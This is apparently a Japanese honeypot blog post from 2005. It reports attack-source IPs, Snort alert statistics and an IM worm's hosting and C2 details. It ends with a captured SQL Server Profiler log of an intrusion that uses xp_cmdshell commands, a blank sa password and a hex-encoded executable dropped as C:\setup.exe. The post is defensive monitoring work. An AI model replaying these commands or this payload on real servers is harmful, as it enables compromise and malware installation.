[**] [1:2436:4] WEB-CLIENT Microsoft wmf metafile access [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/23-13:05:50.913931 192.168.37.180:1060 -> 192.168.221.110:80
TCP TTL:128 TOS:0x0 ID:289 IpLen:20 DgmLen:385 DF
***AP*** Seq: 0x77D1E32B Ack: 0x973EE375 Win: 0xFAF0 TcpLen: 20
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0906][Xref => http://www.securityfocus.com/bid/9707][Xref => http://www.securityfocus.com/bid/10120 ]



ハニーネットプロジェクト, 園田 道夫, ドキュメントシステム
ハニーネットプロジェクト―汝の敵を知れ:セキュリティ脅威者の分析


【サイバー犯罪事件簿】2005年12月22日

----------------------------
■あまてらす
----------------------------
こんにちは、あまてらすです。昨日は、風が強くてとっても寒かったですね。
冬至という事で「ゆず湯」につかってゆっくり寝る事ができませいた。
本日は、友達の結婚式で午後から出かけます。また、明日はクリスマスなのでプレゼントを
買いに行かないとやばいです。3連休ものんびりゆっくりハニーﾎﾟｯﾄﾞで遊びたいな~~~ああ
ということで今日の検知状況について、報告します。
----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。


61.44.97.148 148.97.44.61.ap.seikyou.ne.jp
61.116.63.206 AKAfb-01p1-206.ppp11.odn.ad.jp
61.116.123.38 SSJfa-01p1-38.ppp11.odn.ad.jp
61.116.140.200 SKNfa-03p1-200.ppp11.odn.ad.jp
61.117.15.117 M015117.ppp.dion.ne.jp
61.123.82.141 SODfa-01p3-141.ppp11.odn.ad.jp
61.123.89.165 AOBfb-02p1-165.ppp11.odn.ad.jp
61.123.96.112 SODfa-01p1-112.ppp11.odn.ad.jp
61.124.59.214 ntoska024214.oska.nt.adsl.ppp.infoweb.ne.jp
61.124.202.239 ntfkok015239.fkok.nt.adsl.ppp.infoweb.ne.jp
61.125.18.232 m61-125-18-232.megafit.me-h.ne.jp
61.125.34.78 z78.61-125-34.ppp.wakwak.ne.jp
61.125.38.66 z66.61-125-38.ppp.wakwak.ne.jp
61.125.66.25 zaq3d7d4219.zaq.ne.jp
61.125.66.194 zaq3d7d42c2.zaq.ne.jp
61.125.67.66 zaq3d7d4342.zaq.ne.jp
61.125.73.56 zaq3d7d4938.zaq.ne.jp
61.125.76.205 zaq3d7d4ccd.zaq.ne.jp
61.125.77.10 zaq3d7d4d0a.zaq.ne.jp
61.125.81.40 zaq3d7d5128.zaq.ne.jp
61.125.82.44 zaq3d7d522c.zaq.ne.jp
61.125.84.80 zaq3d7d5450.zaq.ne.jp
61.125.85.143 zaq3d7d558f.zaq.ne.jp
61.125.90.87 zaq3d7d5a57.zaq.ne.jp
61.125.90.156 zaq3d7d5a9c.zaq.ne.jp
61.125.91.58 zaq3d7d5b3a.zaq.ne.jp
61.125.91.103 zaq3d7d5b67.zaq.ne.jp
61.125.91.130 zaq3d7d5b82.zaq.ne.jp
61.125.92.216 zaq3d7d5cd8.zaq.ne.jp
61.125.95.93 zaq3d7d5f5d.zaq.ne.jp
61.125.95.209 zaq3d7d5fd1.zaq.ne.jp
61.125.96.233 zaq3d7d60e9.zaq.ne.jp
61.125.97.194 zaq3d7d61c2.zaq.ne.jp
61.125.98.7 zaq3d7d6207.zaq.ne.jp
61.125.100.212 zaq3d7d64d4.zaq.ne.jp
61.125.102.235 zaq3d7d66eb.zaq.ne.jp
61.125.103.118 zaq3d7d6776.zaq.ne.jp
61.125.104.53 zaq3d7d6835.zaq.ne.jp
61.125.104.194 zaq3d7d68c2.zaq.ne.jp
61.125.105.31 zaq3d7d691f.zaq.ne.jp
61.125.105.122 zaq3d7d697a.zaq.ne.jp
61.125.106.32 zaq3d7d6a20.zaq.ne.jp
61.125.107.102 zaq3d7d6b66.zaq.ne.jp
61.125.110.240 zaq3d7d6ef0.zaq.ne.jp
61.125.111.75 zaq3d7d6f4b.zaq.ne.jp
61.125.111.192 zaq3d7d6fc0.zaq.ne.jp
61.125.123.130 zaq3d7d7b82.zaq.ne.jp
61.125.125.195 zaq3d7d7dc3.zaq.ne.jp
61.125.127.150 zaq3d7d7f96.zaq.ne.jp
61.125.153.66 pc4c066.ztv.ne.jp
61.125.192.44 i192044.ppp.asahi-net.or.jp
61.125.194.30 i194030.ppp.asahi-net.or.jp
61.125.194.210 i194210.ppp.asahi-net.or.jp
61.125.195.119 i195119.ppp.asahi-net.or.jp
61.125.197.146 i197146.ppp.asahi-net.or.jp
61.125.200.78 i200078.ppp.asahi-net.or.jp
61.125.200.94 i200094.ppp.asahi-net.or.jp
61.125.201.112 i201112.ppp.asahi-net.or.jp
61.125.203.51 i203051.ppp.asahi-net.or.jp
61.125.205.184 i205184.ppp.asahi-net.or.jp
61.125.214.199 i214199.ppp.asahi-net.or.jp
61.125.226.197 i226197.ppp.asahi-net.or.jp
61.125.249.190 i249190.ppp.asahi-net.or.jp
61.125.251.159 i251159.ppp.asahi-net.or.jp
61.125.252.19 i252019.ppp.asahi-net.or.jp
61.125.253.58 i253058.ppp.asahi-net.or.jp
61.125.253.80 i253080.ppp.asahi-net.or.jp
61.126.219.28 p0028-ipad01okayamaima.okayama.ocn.ne.jp
61.201.162.206 TYOnni-17p174.ppp12.odn.ad.jp
61.203.39.147 FLA1Aab147.aic.mesh.ad.jp
61.207.106.72 p7072-ipad01aobadori.miyagi.ocn.ne.jp
61.213.73.210 j073210.ppp.asahi-net.or.jp
210.153.231.83 pl083.nas922.yamaguchi.nttpc.ne.jp
218.44.52.61 f52.61.fgo.jp
220.214.93.120 ZD093120.ppp.dion.ne.jp
221.113.31.71 p031071.ppp.asahi-net.or.jp

----------------------------

■Report

----------------------------
- Honeynet: 192.168.37.0/24
- Starting Date: 20051222 (inclusive)
- Ending Date: 20051223 (exclusive)
- Number of days: 1
- Output file: /tmp/.sum.ggl29114


Total pcap records processed: 30,284
Total snort records processed: 6,450

========================================
Summary
=======

Remote IP Count: 3,046
Ports Scanned: 137

Connection Packets Packets Bytes Bytes
Type Count In Out In Out
-------- --------- --------- --------- --------- ---------
Inbound 6364 45831 39198 2774800 1111286
Outbound 2797 9732 9732 409057 409057

Total Snort SIDs: 17
Total Snort Alerts: 6450

========================================
Top 10 Snort Alerts
===================

Count SID Alert Description
----- ------ ---------------------------------
2848 46 (snort_decoder) WARNING: TCP Data Offset is less than 5!
1866 2 (spp_stream4) possible EVASIVE RST detection
902 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
389 1390 SHELLCODE x86 inc ebx NOOP
301 402 ICMP Destination Unreachable Port Unreachable
41 2924 NETBIOS SMB-DS repeated logon failure
27 2403 NETBIOS SMB Session Setup AndX request unicode username overflow attempt
25 2466 NETBIOS SMB-DS IPC$ unicode share access
16 2472 NETBIOS SMB-DS C$ unicode share access
14 528 BAD-TRAFFIC loopback traffic
8 1042 WEB-IIS view source via translate header

========================================
All Snort Alerts
================

Count SID Alert Description
----- ------ ---------------------------------
1866 2 (spp_stream4) possible EVASIVE RST detection
2848 46 (snort_decoder) WARNING: TCP Data Offset is less than 5!
301 402 ICMP Destination Unreachable Port Unreachable
3 477 ICMP Source Quench
14 528 BAD-TRAFFIC loopback traffic
4 538 NETBIOS SMB IPC$ unicode share access
8 1042 WEB-IIS view source via translate header
389 1390 SHELLCODE x86 inc ebx NOOP
2 1852 WEB-MISC robots.txt access
2 2049 MS-SQL ping attempt
1 2251 NETBIOS DCERPC Remote Activation bind attempt
27 2403 NETBIOS SMB Session Setup AndX request unicode username overflow attempt
902 2404 NETBIOS SMB-DS Session Setup AndX request unicode username overflow attempt
25 2466 NETBIOS SMB-DS IPC$ unicode share access
16 2472 NETBIOS SMB-DS C$ unicode share access
41 2924 NETBIOS SMB-DS repeated logon failure
1 3276 NETBIOS DCERPC IActivation little endian bind attempt

========================================
Top 10 Scanned Ports:
=====================

Port Packets Bytes Conns
--------- --------- --------- ---------
tcp/1433 51297 838859 3112
tcp/139 10384 888892 1313
tcp/445 18533 1547943 1131
tcp/1025 3011 365324 239
udp/1026 143 66939 137
udp/1027 123 57376 117
tcp/135 969 26272 116
tcp/80 286 77914 27
udp/137 18 3015 10
tcp/4899 46 0 9

========================================

【情報】Santa IM Worm (bot)

■概要

サンタクロースサイトに誘導する新しい ワームに対して警告があります。受取人がにせのサイトを見るとき、Webサイトにrootkitが隠されているため、感染しています。 AOL(ICQ、およびYahooインスタントメッセージングサービス)はIMlogicは、「M.GiftCom.All」と呼ばれる ほとんどすべてのIM ワームのように、M.GiftCom.AllはそれがばらまくメッセージのURLに感染したPCは除外します。 ユーザがそのサイトを純真に見るとき自動的にファイルがコンピュータにダウンロードされます。 ファイル、通常、命名された"gift.com"はセキュリティソフトウェアからそれを着ているrootkit要素を含んでいます。 「追加、無効にするダウンロードされた実行可能なトライでは、多くのアンチウイルスが、プログラムを作って、秘密情報を得るためにkeyloggerをシステムに追加して、次に、他のものにユーザのIMクライアントコンタクトリストから名前をひったくることによって、広まります」…


■詳細

パケットデータからmalwareのホスティングサーバが69.56.129.67であることがわかりました。.

129 .67 それを接待しています。実行された時、gift.comはsmtp.girlsontheblock.comをDNSで参照し、38.118.133.241のtcp/53への接続を試みます。

gift.comはそれ自体をc:\windows\winrpc.exeに改名して、サービス「Windows RPCサービス」を開始します。 造られたrootkitが全くなくて、それは完全に指揮統制サイトからのダウンロード指示です。 それをニュースで報告された「Worm」と呼ぶよりむしろ、より正確な記述はそれが能力を模写するウマバエの幼虫であるということです。 コードへ少し深く掘り下げて、私たちは、また、それが2005年12月18日18:09:11.000000000 -0500におそらくdistroポイントにコンパイルされたか、または押されたのがわかりました。


■ニュース

http://nwc.securitypipeline.com/news/175007079


【情報】SQLインジェクションに対する監視

■あまてらす

先週の「セキュリティTIPS講座」で習ったSQLサーバの監視手法について確認を行いました。

今回は、Webアプリを経由した攻撃ではなく、直接SQLサーバに対する攻撃をトレースしました。

なので本来のSQLインジェクション攻撃とはログの出力結果に差異がある可能性があります・・・　

(プロファイラを使うのが初めてなのでご容赦ください)

驚いた事が「ApplicationName」のカラムに攻撃ツール名前が表示される為、

不正なアクセスであるかどうかは、見分ける判断材料になりそうです。

今回の検証でも「ApplicationName」に中国語名のツールが表示されていました。

TexDataに入力されたコマンドが表示されます。

※「セキュリティTIPS講座」については、以下のURLをご覧下さい。

　　http://ameblo.jp/amaterasu/entry-10007276390.html

■プロファイラーの画面

　1221_01



■プロファイラーの詳細ログ
SQL:BatchCompleted 2005-12-20 13:27:48.467 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:48.640 declare @P1 int
set @P1=1
exec sp_prepare @P1 output, NULL, N'EXEC master..xp_regread ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\MSSQLServer\Setup'', ''SQLPath''
', 1
select @P1

SQL:BatchCompleted 2005-12-20 13:27:48.827 SET FMTONLY ON exec sp_execute 1 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:50.623 exec sp_unprepare 1
SQL:BatchCompleted 2005-12-20 13:27:50.763 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:50.903 EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup', 'SQLPath'
SQL:BatchCompleted 2005-12-20 13:27:51.797 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:51.937 declare @P1 int
set @P1=2
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo @echo on > %SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:52.060 SET FMTONLY ON exec sp_execute 2 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:52.217 exec sp_unprepare 2
SQL:BatchCompleted 2005-12-20 13:27:52.343 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:52.500 exec master..xp_cmdshell 'echo @echo on > %SystemRoot%\temp\winpos.cmd '

SQL:BatchCompleted 2005-12-20 13:27:52.687 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:52.827 declare @P1 int
set @P1=3
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo C: >>%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:52.967 SET FMTONLY ON exec sp_execute 3 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:53.107 exec sp_unprepare 3
SQL:BatchCompleted 2005-12-20 13:27:53.247 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:53.390 exec master..xp_cmdshell 'echo C: >>%SystemRoot%\temp\winpos.cmd '

SQL:BatchCompleted 2005-12-20 13:27:53.590 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:53.733 declare @P1 int
set @P1=4
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo cd C:\Program Files\Microsoft SQL Server\MSSQL\Binn\ >>%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:53.920 SET FMTONLY ON exec sp_execute 4 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:54.060 exec sp_unprepare 4
SQL:BatchCompleted 2005-12-20 13:27:54.200 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:54.340 exec master..xp_cmdshell 'echo cd C:\Program Files\Microsoft SQL Server\MSSQL\Binn\ >>%SystemRoot%\temp\winpos.cmd '

SQL:BatchCompleted 2005-12-20 13:27:54.530 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:55.187 declare @P1 int
set @P1=5
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo Copy TextCopy.exe %SystemRoot%\System32\ /y >>%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:55.327 SET FMTONLY ON exec sp_execute 5 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:55.467 exec sp_unprepare 5
SQL:BatchCompleted 2005-12-20 13:27:55.607 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:55.747 exec master..xp_cmdshell 'echo Copy TextCopy.exe %SystemRoot%\System32\ /y >>%SystemRoot%\temp\winpos.cmd '

SQL:BatchCompleted 2005-12-20 13:27:55.937 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:56.077 declare @P1 int
set @P1=6
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:56.263 SET FMTONLY ON exec sp_execute 6 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:56.390 exec sp_unprepare 6
SQL:BatchCompleted 2005-12-20 13:27:56.530 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:56.670 exec master..xp_cmdshell '%SystemRoot%\temp\winpos.cmd '

SQL:BatchCompleted 2005-12-20 13:27:57.653 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:59.170 declare @P1 int
set @P1=7
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''Del %SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:59.310 SET FMTONLY ON exec sp_execute 7 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:59.450 exec sp_unprepare 7
SQL:BatchCompleted 2005-12-20 13:28:00.153 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:01.590 exec master..xp_cmdshell 'Del %SystemRoot%\temp\winpos.cmd '

SQL:BatchCompleted 2005-12-20 13:28:06.717 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:06.857 declare @P1 int
set @P1=8
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''DIR C:\ ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:28:06.997 SET FMTONLY ON exec sp_execute 8 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:28:07.140 exec sp_unprepare 8
SQL:BatchCompleted 2005-12-20 13:28:07.280 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:07.437 exec master..xp_cmdshell 'DIR C:\ '

SQL:BatchCompleted 2005-12-20 13:28:22.077 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:22.217 declare @P1 int
set @P1=9
exec sp_prepare @P1 output, NULL, N'DROP TABLE winposdb8
', 1
select @P1
RPC:Completed 2005-12-20 13:28:22.403 exec sp_unprepare 9
SQL:BatchCompleted 2005-12-20 13:28:22.547 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:23.123 DROP TABLE winposdb8

SQL:BatchCompleted 2005-12-20 13:28:24.543 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:24.687 declare @P1 int
set @P1=10
exec sp_prepare @P1 output, NULL, N'CREATE TABLE [winposdb8] (
[id] [int] NULL ,
[Files] [Image] NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
', 1
select @P1
RPC:Completed 2005-12-20 13:28:24.890 exec sp_unprepare 10
SQL:BatchCompleted 2005-12-20 13:28:25.030 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:25.170 CREATE TABLE [winposdb8] (
[id] [int] NULL ,
[Files] [Image] NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

SQL:BatchCompleted 2005-12-20 13:28:25.590 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:25.733 declare @P1 int
set @P1=11
exec sp_prepare @P1 output, NULL, N'insert into winposdb8 (id) values (1)
', 1
select @P1
RPC:Completed 2005-12-20 13:28:26.717 exec sp_unprepare 11
SQL:BatchCompleted 2005-12-20 13:28:26.857 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:26.983 insert into winposdb8 (id) values (1)

SQL:BatchCompleted 2005-12-20 13:28:27.217 SET NO_BROWSETABLE ON
SQL:BatchCompleted 2005-12-20 13:28:27.903 select * from winposdb8
RPC:Completed 2005-12-20 13:29:38.840 exec sp_executesql N'UPDATE "Master".."winposdb8" SET "Files"=@P1 WHERE "id"=@P2' , N'@P1 image,@P2 int', 0x300078003400440035004100340030003000300030003100300030003000300030003000300032003000300030003000300030004600460046004600300030003000300030003000300032003000300030003000300030003000300030003000300030003400300030003000300030004500390030003000300030003000300030003000420034003000390042004100300042003000310043004400320031004200340034004300430044003200310035003000370032003600460037003400360035003600330037003400360035003600340032003000340032003700390032003000330030003300300033003700320034003400300030003000300030003000300035003000340035003000300030003000340043003000310030003300300030003200370035004500340032003200410030003000300030003000300030003000300030003000300030003000300030004500300030003000380046003800310030004200300031003000320031003900300030003000300030003000300030003000300037003000300034003000300030003000380030003000430030003000300039004300390030004300300030003000300031003000300030003000300030003000390030003000430030003000300030003000300034003000300030003000300031003000300030003000300030003000300032003000300030003000300034003000300030003000300030003000300030003000300030003000300030003400300030003000300030003000300030003000300030003000300030003000300031003000310031003000300030003000300034003000300030003000300030003000300030003000300030003000320030003000300030003000300030003000300030003100300030003000300030003400300030003000300030003000300030003000310030003000300030003000310030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003500300041004600300043003000300046003400300031003000300030003000300030003900300030004300300030004300300031004300300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200300030004200300030003800340041003600300030003000300030003000300030003000300030003000300030003000300030003000300030003100380031003000300042003000300030004200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300033003200460042003100300030003000310038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003600440036003900360031003600450033003000300030003000300030003000300030003800300030004300300030003000300031003000300030003000300030003000300030003000300030003000300030003000320030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003600300030003000300030004500300036004400360039003600310036004500330031003000300030003000300030003000300037003000300034003000300030003000390030003000430030003000300030003600430030003400300030003000300030003200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300036003000300030003000300045003000360044003600390036003100360045003300320030003000300030003000300032004500300046003000300030003000300030003000300031003100300030003000300030003000300030003000300030003000300032003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000360030003000300030003000450030003100380031003000300042003000300030004200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000310030003000420030003000310038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003400330034004600340034003400350030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300031003000300030003900300030003100300030004300300030003800300036003000300030003000300038003000300031003000300030003000300030004100300030003000300030003800300030003200300030003000300030003000300030003000320030003000380030003000330030003000300030003000300032003000300034003000300038003000300035003000300030003000300030003600300030003400300030003800300030003600300030003000300030003000410030003000340030003000380030003000410030003000300030003000300033003000300039003000300038003000300043003000300030003000300030003300300030004100300030003800300030004500300030003000300030003000390030003000420030003000380030003100300030003000300030003000300044003000300042003000300038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300031003000300030003000300030003200300030004300300030003800300037003800300030003000300038003000300030003000300030003000300030003000300030003000300030003000300034003200360046003600440036003500300030003000300030003100300030003000300030003000300030003000300039003000300030003000300030003000360034004400440030004200300030003000360030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300037003000300030003100300030003000300030003000450038003000300030003000380030003000320030003000300030003000300031003000300031003000300038003000300033003000300030003000300030003300380030003100300030003800300030003400300030003000300030003000360030003000310030003000380030003000350030003000300030003000300038003800300031003000300038003000300036003000300030003000300030004200300030003100300030003800300030003700300030003000300030003000440038003000310030003000380030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000300030003000310030003000300030003600430044004400300042003000300033003400300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003200380030003100300030003000300041003000440045003000420030003000330034003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300035003000300031003000300030003000440034004400460030004200300030003300340030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000370038003000310030003000300030003000380045003100300042003000300033003400300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030004100300030003100300030003000300033004300450032003000420030003000330034003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300043003800300031003000300030003000370030004500330030004200300030003300340030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000460030003000310030003000300030004100340045003400300042003000300033003400300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030004200300030003000300030003000320038003000430030003000380030003600380030003200300030003800300033003800300043003000300038003000390030003000320030003000380030003400340030004300300030003800300042003800300032003000300038003000350038003000430030003000380030004500300030003200300030003800300036003800300043003000300038003000300038003000330030003000380030003700380030004300300030003800300033003000300033003000300038003000380043003000430030003000380030003500380030003300300030003800300039003800300043003000300038003000380030003000330030003000380030004100340030004300300030003800300041003800300033003000300038003000420034003000430030003000380030004400300030003300300030003800300043003000300043003000300038003000460038003000330030003000380030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000380030003000320030003000300030004400380045003500300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030004100380030003200300030003000300041003800450037003000420030003000450034003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300044003000300032003000300030003000380043004500390030004200300030004400300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000460038003000320030003000300030003500430045004200300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003200300030003300300030003000300032004300450044003000420030003000440030003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300034003800300033003000300030003000460043004500450030004200300030004400300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000370030003000330030003000300030004300430046003000300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003900380030003300300030003000300039004300460032003000420030003000440030003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300043003000300033003000300030003000360043004600340030004200300030004400300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000450038003000330030003000300030003300430046003600300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003100300030003400300030003000300030004300460038003000420030003000450038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003100300030003000310030003000300030003000300033003800300034003000300038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003100300030003000340030003800300030003000300035003000300034003000300030003000310038004100300030004300300030004100380030004300300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000310030003000300030003000300044004300300043003000300038003000370038003000340030003000380030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000390030003000340030003000300030003900430030003500300043003000300035003200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003100380030003000450039003000460030003000300030003700300030003500300030003800300045004100300046003000300030003000390038003000350030003000380030004500420030004600300030003000300043003000300035003000300038003000450043003000460030003000300030004500380030003500300030003800300045004400300046003000300030003000310030003000360030003000380030004500450030004600300030003000300033003800300036003000300038003000450046003000460030003000300030003600300030003600300030003800300046003000300046003000300030003000380038003000360030003000380030004600310030004600300030003000300042003000300036003000300038003000460032003000460030003000300030004400380030003600300030003800300046003300300046003000300030003000300030003000370030003000380030004600340030004600300030003000300032003800300037003000300038003000460035003000460030003000300030003500300030003700300030003800300046003600300046003000300030003000370038003000370030003000380030004600370030004600300030003000300041003000300037003000300038003000460038003000460030003000300030004300380030003700300030003800300046003900300046003000300030003000460030003000370030003000380030004600410030004600300030003000300031003800300038003000300038003000460042003000460030003000300030003400300030003800300030003800300046004300300046003000300030003000360038003000380030003000380030004600440030004600300030003000300039003000300038003000300038003000460045003000460030003000300030004200380030003800300030003800300046004600300046003000300030003000450030003000380030003000380030003000300031003000300030003000300030003800300039003000300038003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300038003800300035003000300030003000460030003000350030004300300030004500380030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000420030003000350030003000300030004400380030003700300043003000300045004300300033003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000, 1
RPC:Completed 2005-12-20 13:29:39.967 declare @P1 int
set @P1=12
exec sp_prepare @P1 output, NULL, N'Exec Master..xp_cmdshell ''textcopy /S 127.0.0.1 /U "sa" /P "" /D Master /T winposdb8 /C Files /W True /F C:\setup.exe /O''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:29:40.107 SET FMTONLY ON exec sp_execute 12 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:29:40.247 exec sp_unprepare 12
SQL:BatchCompleted 2005-12-20 13:29:40.390 SET NO_BROWSETABLE OFF
Audit Login 2005-12-20 13:29:40.983 textcopy -- network protocol: TCP/IP
set quoted_identifier off
set implicit_transactions off
